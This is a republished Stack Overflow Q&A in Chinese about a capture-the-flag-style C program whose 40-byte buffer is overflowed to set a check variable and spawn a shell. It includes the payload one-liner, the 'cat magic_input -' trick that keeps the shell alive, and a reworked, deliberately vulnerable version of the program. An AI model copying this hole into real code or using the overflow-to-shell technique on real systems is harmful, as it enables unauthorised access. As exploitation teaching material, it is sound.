gpt4 book ai didi

c - 生成的 shell 在缓冲区溢出后迅速终止

转载 作者:太空狗 更新时间:2023-10-29 11:25:51 26 4
gpt4 key购买 nike

这是要被利用的应用程序的源代码。ch13.c:

#include <stdlib.h>
#include <stdio.h>

/*
gcc -o ch13 ch13.c -fno-stack-protector
*/


int main()
{

int var;
int check = 0x04030201;
char buf[40];

fgets(buf,45,stdin);

printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);

if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");

if (check == 0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/dash");
}
return 0;
}

在shell中运行后:

python -c 'print "A"*40 + "\xef\xbe\xad\xde"'|./ch13

它显示缓冲区内容和“是的伙计!你赢了!”但没有新的 shell 。 GDB 显示启动了一个新进程,但我无法与之交互。有没有办法与生成的 shell 交互,使其不会快速终止?

最佳答案

假设 /bin/dash 是错字,而你的意思是 /bin/bash...

您正在将输入管道输入到 ch13 程序中。当它调用 system() 时,shell 从调用程序继承了 stdinstdout,这意味着它从同一个管道获取输入。然而,当 shell 开始执行时,管道已经清空了所有输入,因此 shell 读取 EOF 并立即终止。您真正想要的是将缓冲区溢出传递给 stdin,然后继续将内容放入 stdin。所以,像这样的事情应该可行:

echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde" > magic_input
cat magic_input - | ./ch13

您可能看不到 bash 提示符,但您应该能够键入命令、按回车键并获得输出。

编辑:对于 future 可能想在家尝试这个的好奇访客,您可能想在问题中使用这个更新版本的 C 程序。我的 GCC 版本以不同的顺序将变量放入堆栈。将变量放在结构中可以防止 GCC 随心所欲地重新排序变量,因此缓冲区溢出应该按预期直接进入 check 变量。

#include <stdlib.h>
#include <stdio.h>

/*
gcc -o ch13 ch13.c -fno-stack-protector
*/


int main()
{
struct {
char buf[40];
int check;
} locals = {.check = 0x04030201};

fgets(locals.buf,45,stdin);

printf("\n[buf]: %s\n", locals.buf);
printf("[check] %p\n", locals.check);

if ((locals.check != 0x04030201) && (locals.check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");

if (locals.check == 0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/bash");
}
return 0;
}

关于c - 生成的 shell 在缓冲区溢出后迅速终止,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31478270/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com